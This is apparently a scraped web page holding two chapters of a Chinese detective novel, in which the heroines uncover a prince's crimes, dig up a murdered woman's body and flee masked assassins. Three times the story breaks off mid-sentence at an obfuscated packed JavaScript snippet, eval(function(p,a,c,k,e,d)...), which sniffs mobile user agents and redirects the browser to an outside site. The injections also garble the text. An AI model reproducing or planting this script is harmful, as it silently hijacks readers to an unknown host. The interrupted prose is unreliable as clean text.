很多人说她傻，可她不傻，分得清欢喜与难过，她尝得出苦涩的味道，像被人哄着喝过的茶水一样苦。 不是久旱逢甘霖，是万般皆是命，半点不由人。 她问：“阿素姐姐，谁欺负你了？” 楼素羽擦干脸上泪痕，笑着道：“没人欺负我，只是读书太累了……” 一戳就破的谎言，夏荞懂事地不再问了。 她以为过段日子一切都会好起来的，可等来等去只等到楼素羽失去踪迹。 她不明白，跑去问阿娘。这才知道，她以为的‘小事’竟断送了阿素姐姐的一辈子。 “阿荞说官老爷不肯帮我们，是因为他们都认为王爷是好人，那如果让他们亲眼看见王爷不是好人，是不是就能有一点希望了？” 清璇道：“世人的想法又岂是一朝一夕就能改变的？” “一点希望又能换回什么呢？” 夏母苦笑一声，“但于我们而言，这已是掀开此事的一道口子，若我们什么都不做，就算过个十年二十年，都无人会发现。” 平人的命如草芥，他们微薄的力量无法撼动权贵分毫，可他们依旧愿意拼尽全力只为求一个公道。 一人的力量渺小，那就用上百人千人。 只要能掀开一道口子，不愁来日不会沉冤昭雪。 这时，屋外传来谈话声，三人都转头看去，清璇过去开门，见元青不知从何处冒出来，正同谢鹤明禀报着什么，她道：“出了何事？” “明日正午，县衙决定开堂审理平阳王一案。”谢鹤明开口，话虽是对着清璇说的，目光却停留在晏宁身上。 “可人都失踪了，他们打算如何审？难不成让平阳王上公堂吗？” 县官有这个胆子吗？ 清璇忧心忡忡，这个案子怕是没那么简单。 “阿素虽失踪了，但阿荞还关在牢里。”夏母走到门口，神色疲惫，双眼红肿。 “什么！” 晏宁也盯着她，“她做了什么？” 两位姑娘接连出事，也难怪夏母会出现在县衙外。 连日受此打击，换做寻常人早就崩溃了，可她只是摇摇头，没再说话。 眼看天色渐晚，夏母又铁了心不肯开口，晏宁等人起身拜别，夏母将他们送到门外，不忘提醒一句：“王府之势无人能及，姑娘还是别掺和进来，今日这些话就当我从未说过。” 等走出巷子口，清璇才回头看一眼，“姑娘，你方才为何不问她见没见过霍姑娘？” “没必要。” 想了想，晏宁补了句，“即便她见过，也未必愿意说实话。” 清璇瞪大双眼，“姑娘的意思是，她在说谎？” 看她那模样，确是难过，不似作伪，何况一个普通妇人，骗他们能有什么好处呢？清璇觉得是姑娘想多了，可同时又相信她，她的感觉从未出过错。 谢鹤明跟在身后，闲庭信步的模样仿佛在逛自家府邸，他与晏宁隔着三五步的距离，不会太近也不会太远，两位姑娘的谈话声他听得清楚，却也只是听着而已。 “不确定。她方经历了重大变故，一个女儿失踪，一个女儿身陷囹圄，她难过自是真的，不过，”晏宁问：“你还记得她在县衙外看见你时说了什么吗？” 前不久发生的事清璇自然记得清楚。 “她问我是不是本地人。” “的确，那时她顾及王府势大，不愿多说，也是怕牵累旁人，倒也无可厚非。”晏宁道：“可当我们找上门时，她虽有被吓到的举动，却不像是真的惊吓，一个人的行为可以伪装，她的眼神却是骗不了人的。” “她看着我们时，神色未变。” 清璇了然，“所以，她知道我们跟着她。”又觉得不理解，“她这么做有什么理由？” 晏宁笑了笑，唇角的弧度并不明显，但也是难得的柔和，“只有在最初表现得自然无害些，才能显得之后一切水到渠成。” “她——”清璇险些没控制住音量，陡然拔高，又连忙止住，看了看四周，小声道：“她想利用我们？” “利用谈不上。”晏宁的目光沉寂下来，“只是想救夏荞罢了。” 清璇嘀咕一句，“她怎么会盯上我们……”随即扭头朝身后瞧了眼，突然灵光一闪。 她们虽穿着朴素，可谢鹤明那身锦衣料子，一看就非寻常人，尤其是他谈吐不俗，怎么都像个世家公子。 若能让他参与到这个案子里，总比一群卑弱的百姓与之相抗要来的容易些吧。 只是，对方也不敢保证谢鹤明一定会出手，同为女子总是更心软些。 她最后说那句，“王府之势无人能及，姑娘还是别掺和进来。”多半也是以退为进。 说话间，走到一家客栈前。 三人走进去，清璇左看右看，问了句：“元青呢？” 她最初总是‘元公子’‘元公子’的叫，听得元青十分别扭，非要她换个称呼，清璇想来想去，干脆直接喊他‘元青’好了，反正她嫁过人，对于一个比她还小的弟弟，倒没那么多顾忌。 “有件事交代他去做。” 清璇也不再问了。 三人随意找了个位子坐下，过了片刻，伙计走上前问：“几位客官要吃些什么？” 清璇看了眼晏宁，又看向谢鹤明，后者笑道：“你们点吧。” 如此，清璇就不客气了，吃了几日的干粮，她总觉得嘴里没味道，饿得不行，但还记得晏宁的口味，她喜欢吃甜的，不爱吃辣的，尤其是那些重口味的东西，遂点了几道清淡的菜，外加一盘糖糕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831694|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “公子还要吃点什么吗？”她看着谢鹤明道。 “不必了。”谢鹤明笑笑，“就这些吧。” 伙计应声，忙下去备菜。 等待的间隙，晏宁打量着堂内，冷冷清清，仅有三两人坐在角落。 “姑娘，如果要接近平阳王，是不是得从夏荞姑娘入手？” 晏宁正欲开口，伙计端着托盘走过来，她改口问道：“小哥，店里平日也这么冷清吗？” 她佯装不知，一脸单纯无害，伙计见她容貌娇美，竟对自己笑了笑，一时有些无措，一边将盘子放在桌上，一边道：“往日并非如此，我们这地段繁华，来来往往不知道多少人，有时外乡人在此地留宿，那都选择我们店。” 晏宁点点头，不解道：“可我见附近都没什么人。” 伙计叹了口气，“姑娘有所不知，城中发生了一件大事。” 她们都心知肚明。 清璇接过话头，装作好奇模样，探头问：“何事啊？” 伙计望了眼四周，悄摸地凑过去，低声道：“你们知道这城里最大的官是谁吗？” “谁啊？” “平阳王啊！”伙计见她们都露出震惊的表情，不禁有些得意，毕竟对于普通百姓来说，王侯权贵那都是高高在上的大人物，怎会居于这小小县城。 清璇继续问：“可近日之事和这位王爷有何干系吗？” “那干系可大了！” 伙计干脆将帕子甩在肩上，坐下慢慢说：“听说平阳王玷污了良家女子，被人告上公堂，这怎么可能！”他神情轻蔑，“平阳城的百姓谁不知道王爷修桥铺路，修建学堂，做尽了好事，何况他风度翩翩，平易近人，府中妾室成群，犯得着去奸污良家女子吗？” 他絮絮说完，却话音一转，“但就在不久前，他在济善堂内院与学堂学生做那种事被人当场撞破，当时有好几十人，啧啧啧，那场面……你们是没看到。” 清璇有些疑惑，“他是在内院，那些人是如何进去的？再有，学堂学生的长相又不是人人都认得，若他只是同自家妾室玩闹呢？也许他们待惯了王府，想换个地方试试呢？”她眨眨眼，完全不觉得自己说了什么惊世骇俗的话，一脸天真的看他。 “……” 晏宁没说话。 “……” 谢鹤明表情亦是有些一言难尽。 伙计被噎了一嘴，虽说北朝风气开放，但到底是没见过如此‘心直口快’的女子，遂道：“那是当事人自己亲口说的还能有假？” “亲口……”晏宁喃喃一句。 清璇看她一眼，接上话，“真是那位姑娘亲口说她被平阳王强迫？” “那是自然。”伙计不知想到什么，有些犹豫，“不过在那之前，外界有传言，说是平阳王欲娶她为妻，还对她死心塌地，扬言要为她遣散府中妾室。” 说完，连他自己都忍不住笑了，“一个天生不足的傻子，又不是什么香饽饽，也不知哪来的谣言。” 天生不足…… 傻子…… “你所说之人可是姓夏？” 伙计惊讶道：“姑娘知道她？” 33. 挖坟 晏宁沉默下来。 方才夏母并未说清夏荞因何被关入牢中。 原本她猜测是夏荞经历了同楼素羽一样的事，告官不成，反被羁押。 王府人觉得她智力低下，掀不起多大的浪花，才没立刻要了她的命。 可小二所说却推翻了她先前的猜想。 在夏荞之事发生前，外界曾有传言：平阳王对她死心塌地，更是要为了她遣散府中妾室。 这等错漏百出的话，自然不会有人相信。 那时，楚麟还是百姓心中的大善人，许多人都受过他的恩惠，自然对他感恩戴德，将他放在神坛之上。 谣言一出，百姓们着急想替楚麟正名，自然会留意几分言论的出处。 只要有一人带头，便足以煽动更多的人。 如此，夏荞的目的也就达到了。 她将众人引到济善堂内院，这么大的阵仗不可能不被阻拦，可她不是一个人。 在了解了事情的始末后，她知道济善堂中有许多同楼素羽一样的女子，只因年少无知，被人蒙骗，一颗心都扑在楚麟身上，还做着等他明媒正娶的美梦。 可楼素羽报官一事发生后，哪怕再后知后觉，也能清楚自己被骗。 她们联合起来引开济善堂的守卫不是难事。 夏荞算好时辰，诱楚麟入局，也就成了后来众人所看到的那一幕。 晏宁握着筷子，却没动手，静静盯着碗中。 整件事情里，有个最大的破绽。 夏荞心性如孩童，如何能想到这个计划？还将时辰把握的如此精准。 楚麟难道就没发现一丝不对劲之处吗？还是他太过自大，即便一朝声名狼藉，也有法子扭转乾坤。 “姑娘？姑娘！” 晏宁扭头，对上清璇不解的目光，她轻声道：“我没事。”转头问伙计，“前一个状告平阳王的女子是个怎样的人？” “那姑娘出摊时我见过。”伙计想了想，“很漂亮，也很有文采，字写的好看，画更好看。” 晏宁若有所思，朝伙计勾勾手，等他红着脸靠近时才问：“那以你的了解，觉得那位姑娘会做出引诱王爷之事吗？” 伙计怔愣一瞬，微微瞪大双眼，再看向女子时，只见她弯了弯唇，“二人名声都很好，为何你宁可相信平阳王，也不信那位姑娘所言？” 伙计一噎，半晌说不出话。 “诚如你所言，王府势大，王爷又是男子，若他真起了歹念，凭一个女子微弱的力量能与之相抗吗？” “你说，她赔上清白只为求荣华富贵吗？难道她就想不到一旦教世人知道，她会落得何等下场吗？” 伙计彻底呆了，盯着女子淡然的面容，想起那日他站在官衙外望着堂上女子挺直的脊背，竟觉得汗颜。 他见过那位姑娘，隔着一层又一层的人群，姑娘被围在中心作画，神色专注且认真。 有老者让她帮忙写信，她耐心又细致。 这样的姑娘纵然嫁不进官宦世家，却也不愁男子青睐仰慕。 何以想不开去污蔑平阳王呢？ 她读过书，应比寻常女子眼界更高，污蔑平阳王所带来的伤害远比好处多。 “小哥。” 晏宁的声音将他唤了回来。 “可否再上一坛酒？” 伙计忙不迭应了，只觉脸上火烧火燎的。他原也是读书人，只是家道中落，不得已才出来做工补贴家用。 可他却不如一个姑娘想得清楚明白，还曾同百姓一起辱骂过那个女子。 “姑娘，你还会喝酒啊？” 等伙计离开，清璇好奇问。 “不是。”晏宁道：“一会儿用得上。” 她没解释，安静地低头吃饭。 桌上色香味俱全，但清璇却好似没了胃口，一下一下戳着碗里米饭，她想到这段时日接触过的案子受害者皆是可怜女子。 想到自己本应家庭和睦，却遭受无妄之灾，想到姜蓉与妹妹本该安稳度日，却因富贵公子的一句玩笑而生离死别，想到何妧为朋友报仇，隐忍计划多年，那是为了朋友的死而心有愧疚。 可她也为了今下的生，而‘胁迫’晏宁替她遮掩过去。 人性是复杂的。 可遭受苦难的大多都是女子。 这世间的人啊，总是要将那些莫须有的罪名安在无辜的女子身上，仿佛只有这样，才能衬得他们干干净净，一尘不染。 何其可笑！ 像楼素羽这样聪慧机敏的姑娘，也难以摆脱为贞洁所累的命运。 世人只会相信自己所看到的，若非发生在自己身上，没人真能做到感同身受。 “姑娘，酒来了。”伙计看了眼晏宁，又看向其余二人，有股无地自容的感觉，匆匆说了句：“几位慢用。”麻溜地离开了。 酒坛还未开封，却能闻到一股淡淡的清香。 这时，耳边传来脚步声，三人同时看去，元青小跑过来，在谢鹤明身旁站定，凑近低声道：“公子，找到了。” “东西都备齐了？” 元青点头。 二人如打哑谜一般，看得清璇云里雾里，但见他们神情严肃，便知事情严重，眼下客栈人虽少，但也不是说话的地方。 晏宁放下筷子，拿起一块糕点，“白日人多眼杂，等天黑后再去吧。”她说得自然，似乎已经知道他们找到了什么。 谢鹤明眉梢微扬，不置可否。 他们吃完了饭仍坐在椅子上，看着外头天色渐渐暗下来，客栈里的人陆续离开，有的上楼歇息了。 掌柜的见他们久未离去，招呼伙计上前问：“那几人是做什么的？” 这伙计恰巧是前面招待过他们的那人，顺着掌柜的手指的方向看去，顿时了然，三人进店到现在足有两个时辰，吃完饭也不走，像是在等什么人，他连连摇头道：“不知道。” “去去去，去问问。” 掌柜的将他打发过去。 他不情不愿，慢腾腾地走上前，然而，没等他开口，几人已经起身往门外走去。 他松了口气，扭头道：“走了走了。” 天黑之后更加安静，街道上空空荡荡，没有一丝人烟，活像座空城。 元青在前头带路。 经过县衙时，那儿的人早散了，大抵是发了布告，都等着明日升堂。 月色照耀下，四人的影子被拉长，如同黑夜里的道道暗影，诡异又危险。 越走越偏僻，清璇怕极了没有光亮的地方，这让她想起许多不好的回忆，像在临清牢狱中暗无天日的那一刻，只有沾了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831695|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盐水的鞭子一下又一下的往身上抽打。 她下意识扯住晏宁的衣袖，往她身旁缩，晏宁侧目看了她一眼，没说话，也没收回手，任她拉着。 奇怪的是，清璇感觉平和许多，没那么怕了，同时，又隐隐觉得另有一道目光落在她身上，等她四处张望，却又寻不到踪迹。 她心中发毛，开口问：“元青，还有多久才到啊？” “就在前面了。” 有人回应，她放松下来。 又走出一段路，元青停下脚步，“就是这儿了。” 一眼望去，成片的树林。 在静谧的深夜里，只能听到风声的回响。 晏宁回头看了眼，眉眼一动。 竟然在县衙后面。 这必然不是巧合。 元青在一旁刨了半天，终于刨出一个包袱来。 他三两下快速打开，都是铲子锄头之类的。 谢鹤明接过一把，跟着走过去。 “就是这里。” “姑娘，我去帮忙。”清璇松开晏宁，壮着胆子上前，从地上拿起一把铲子，随口问道：“这里面有什么？” 她觉得自己仿佛遗漏了什么，但一时又想不起来。 铲土的声音断断续续，清璇有些吃力，手掌被磨得又疼又红，她咬牙忍着，挖到后面感觉碰到了一个东西。 天色很暗，她努力睁大眼睛看，始终看不真切。 适时，元青回答她刚刚的话，“是尸体。” ——这里面有什么？ ——是尸体。 清璇脸色一僵，仿佛烫手般忙扔下铲子，一溜烟躲到晏宁身后，揪着她的衣袖瑟瑟发抖。 元青见她反应这么大，也疑惑，“你又不是没见过尸体，至于这么怕吗？” 清璇想到方才拿着铲子碰到的那样‘东西’，浑身汗毛直立，头皮都要炸了，颤声道：“那能一样吗？之前是大白天，如今我们鬼鬼祟祟地来到这荒郊野地，还要从地里挖出尸体里，这是正常人能干的事吗？” “姑娘说的有理。”谢鹤明意味不明的说了句：“的确不是正常人能干出的事。” 土坑都已挖好，露出一具尸体来。 皎月已上梢头，洒下一片淡淡月光。 一股诡异的风吹来，清璇吓得直发颤，根本不敢往下看。 但晏宁往前走，她又不敢松手，只能一步步挪过去。 周围一片安静，谁也没说话，她很不安，鼓起勇气借着月色悄悄看一眼。 一具女尸躺在土坑里，面色青紫肿胀，惨淡的光落在她身上，显得无比渗人。 清璇脸色发白，不敢再看，连忙闭上眼。 “看来这就是楼姑娘了。” 清璇猛地睁眼，错愕地看着那具女尸。 晏宁走到土坑旁，蹲下身，仔细观察尸体，“检查过死因吗？” 谢鹤明从包袱里拿出护手套上，跳下去，他弯腰查看了尸体的口鼻，抬起死者的后脑，伸手一摸。 “后脑受过伤。”他低头看着自己的手，血迹早已干透，掺着土壤，“但这种程度应当不致命。” “口鼻中有土灰，面色青紫。”谢鹤明抬头望着晏宁，声音不如往日沉稳，脸上也不再带着温和的笑，“目前推测，是窒息而亡。” 34. 杀手 天越来越冷，深黑的夜里风声如鬼哭，凄厉之声穿过一片树林，在这处荒地上回荡，宛若野兽的低鸣。 巨大的土坑里，女尸被人潦草地丢进去，衣着凌乱，面容脏污，大抵是死了没多久，又因天寒，土壤潮湿，腐坏程度并不严重，依稀可见她生前时的清丽。 据他们打听得知，楼素羽文采过人，才思敏捷，不逊色于任何一个读书人，又曾帮穷苦人写信看信，有时分文不取，有时只取一两个铜板。 虽名为补贴家用，但行的却是义事。 晏宁垂下眼眸，盯着这具尸体，世事无常，谁能想到她竟如此孤独地死在无人问津的荒地。 “窒息？”清璇轻声喃喃，“把人打晕，又拖到荒郊野地……却是窒息而死……” 忽然，她心头一震，嗫嚅着唇道：“该不会是他们以为人死了就拖到这里埋了，但没想到人还活着……”话刚出口，一阵寒意窜起，“所以她是被活埋死的？” 若她只是被打晕而后带到了这里，一铲子的土壤持续埋在她身上，直至将整个人淹没，而后她悠悠转醒，发现自己身处于一片漆黑的环境中，巨大的恐慌没过心头，她越是慌张，吸收的空气越少。 随着时间一点点过去，她清晰的感觉到自己的生机在慢慢流逝，那时的她，该有多无助，多害怕。 临死前，她会在想什么？ 她知道自己被谁所害吗？ 清璇有些难过，看一眼站在身侧一言不发的晏宁，更觉唏嘘。 “不排除这种可能。”谢鹤明声音冷静，“但其中有多少故意为之也说不准。” “人已死说再多也是无用。” 漫漫长夜，四人围着土坑，竟有一股说不出的诡异感。 一片窒息的沉默里，晏宁道：“酒呢？” 元青一路上都抱着酒坛，直到带他们来到这处荒地，才暂且放在一旁，今下听她提起，忙去一旁取来，“在这里。” 酒坛上的红布被掀开，随手抛开，晏宁从元青手上接过。 酒坛很重，但晏宁抱着却不见吃力之色，元青有些疑惑的看了她一眼，但想到晏宁素日里喜怒不形于色的模样，又觉得自己多虑了。 天凉后，她们还未来得及添衣，晏宁身上所穿依旧是单薄的一件，月影下，身子轻盈纤瘦，风吹过，她鬓边碎发跟着飘散，亲昵地拂过她的眉眼。 她抬脚往前走了一步。 清璇在她身后仅一步之遥。 谢鹤明和元青一左一右站在两侧。 最前方姑娘的那双淡漠内敛的眼眸垂下，捧着酒坛，缓缓倾倒，酒水的甘醇清香洒在土坑前的荒地上，浸湿了那片土地。 她动作缓慢，在祭奠无辜枉死的女子。 荒郊野地，没有香烛，没有贡品，没有供桌，唯一坛酒，四人而已。 清璇这才知道晏宁当时为何要买酒，原是为了此事，那岂不是说明她一早便料到了？ 难怪当元青说出那句“找到了”，她并不疑惑也不惊讶，只因她心中有数？ “楼姑娘死的可怜，要不要替她重新安葬？” 清璇忍不住开口，她知道这不合时宜，但因自己遭遇，不免对同样悲惨的女子心生同情。 晏宁蹙眉，还没说什么，就察觉一股异样的怪风自身后袭来，一片簌簌落叶声中，她敏锐的听到不属于他们四人的呼吸声。 呼吸深重，却没听到任何脚步声，动静自后上方而来。 ——来者不善。 她当即下了判断。 一抹刀光闪过，她凝神侧身，顺带拉着清璇往一侧避去，她力道大的出奇，清璇吓了一跳，没怎么动弹就任由她拖拽着躲到树后。 夜黑风高，清幽冷寂的荒地里迎来几个不速之客。 他们就像是凭空出现，从天而降。 晏宁凝眸观察，来者共有七人，个个黑衣蒙面，动作敏捷，下盘极稳，手中提刀，架在掌侧，眼中杀意尽显，一步步朝着他们靠近。 刀刃锐利，手腕翻转间，光影掠过他们的脸。 清璇被这场面吓到了，对着步步紧逼的杀手她止不住心颤，紧抓着晏宁袖子不放，“姑娘，谢公子会武吗？” “不知。”晏宁除却起初的惊愕，似乎已完全接受了他们正被人暗杀的事实。 她们躲在树后，梢头的枝叶挡住了天空明月，掩盖住夜色里唯一的一抹光亮，夜彻底暗下来。 风席卷而来，连带着他们的刀锋一同劈过来，杀气四溢，凛冽非常。 电光火石间，谢鹤明将酒坛扔过去，挡住了一击。 那头已动起手来，晏宁轻声说了句：“一会儿往前跑，不要回头。” 清璇也知生死关头，没有多问。 一阵激烈的打斗，看得人眼花缭乱，清璇不懂武，只觉这么多人打两人实在不公平。 但晏宁很认真，神色专注，不知看出了什么。 耳边动静渐渐停下，倒地的几个黑衣人迅速爬起，继续做好进攻姿势，谢鹤明不知何时抢到一把长刀，握在手里。 隔得有些远，晏宁看不清他的神色，只知眼下时机刚好。 一个黑衣人注意到了，脚步刚动，就被谢鹤明截住，长刀在他身前一划，他下意识后退。 “你们快——”走。 身后已空无一人，唯有几片落叶晃晃荡荡飘落，像在嘲讽他。 “……”谢鹤明又是欣慰又是无奈，回头专心对付眼前人。 整条长街冷清寂静，商铺外挂着的灯笼一晃一晃，将二人的影子拉得深长。 她们头也不回跑出十几里，清璇累得直喘气，压根不敢回头看一眼。 直到不知不觉又回到先前那家客栈，她才扶着墙停下，冷风灌入口鼻，她喉间干涩的厉害，看一眼晏宁，佩服不已，跑了这么长的路，竟还能脸不红气不喘的。 “姑娘，谢公子和元青能平安脱困吗？” 晏宁盯着街道，没说话。 她转身进了客栈，清璇连忙跟上。 客栈里伙计正在柜台前打盹，听到动静，被惊得慌忙睁眼，刺眼的亮光让他有一瞬不适，待看清二人后，他微微一怔。 两个女子匆匆而至，额上渗出薄汗，面带异色，他探头往门外瞥了眼，这天何至于热成这样？ 掌柜的已回去休息，他原本也打算要关门，谁知竟这么睡过去了，乍一听到动静还以为进贼了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831696|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他本该循着多一事不如少一事的原则，把人赶走，但随即又想到白日里对方的那番话，他定了定神。 “姑娘，可是要住店？”他扬起那抹熟悉的殷勤的笑容问道。 晏宁点头，放下银子，“一间上房。” “好嘞，我带你们去。” 伙计走在前面，晏宁落在最后，在踏上台阶前，她往门外看了眼，长长的街道被门板挡住大半，她看不见尽头，却不会因此认为她们就是安全的。 到了房门前，伙计乐呵呵道：“姑娘早些休息，有事便招呼我一声。” 晏宁颔首，见他要走，又叫住他，犹豫着提醒道：“若有人问起我们……” “姑娘放心。”伙计依旧笑着道：“我从未见过你们。” “多谢。” 门关上，屋内一片漆黑，清璇走过去准备点上烛火，被晏宁喊住，“不能点。一整夜都不能点。” 清璇愣了愣，忙收回手。 屋内安静下来，唯有一扇开着的窗透进一丝月光，让她看到晏宁模糊的轮廓，以确定那里是有人的，不然只有自己一人，心中怪瘆得慌。 今夜发生的事让她忐忑不已，时时刻刻悬着心，无法安稳。 她喃喃道：“我们是安全了吗？” 有晏宁在，她没那么害怕，只是有些不安。 窗外的光很亮，大抵是没有树叶遮挡，没有屋檐掩盖，月色大咧咧地照进屋里，屋中一大块地被光华所笼罩。 而晏宁二人藏在阴影里。 杀手有七人，看那架势应是练家子，一招一式都是冲着他们命去的。 他们才找到楼素羽的尸体，杀手随手就到，实在无法不令人多想。 可人已经死了，即便他们找到尸体也做不了什么，又何必多此一举呢？ 除非尸体上有重要的东西，让那背后之人不得不冒次险，或者有人不希望他们干涉过多…… 晏宁盯着窗外，神色晦暗不明。 既为杀他们而来就不会轻易放弃。 可谢鹤明的武功如何尚未可知，若他不幸死了，她总要想些其他法子，不能折在这。 清璇注意到她的目光，顺势看去。原先她在节度府上，整日被关在府里，哪里也去不得，那时她就喜欢看着窗外，偶尔一两只鸟飞过，她会露出羡慕又暗淡的神色。 可如今再看，只觉这扇窗像极了一张血盆大口，仿佛要将屋内二人尽数吞了去，她心尖一颤，轻声问：“姑娘，要……要关窗吗？” “那些人都会武功，若是不从正门进，而是从窗户跳进来……” “那无论我们关不关窗都改变不了什么。”晏宁声音平稳，不辨情绪，“或许还会因为关窗而引来怀疑。” 虽说夜里是凉了点，可客栈的屋子不透风，若将窗关上，会觉得又闷又热，是以客人们夜间休息鲜少有人关窗。 清璇想到这一点，走到角落里蹲下，睡是不敢睡了，就怕睡着了给人抹了脖子。 四周很安静。 她将下巴抵在膝盖上，双眼盯着地面，不知过了多久，隐隐生出困意，眼皮在打架，脑袋一晃一晃。 “有人来了。”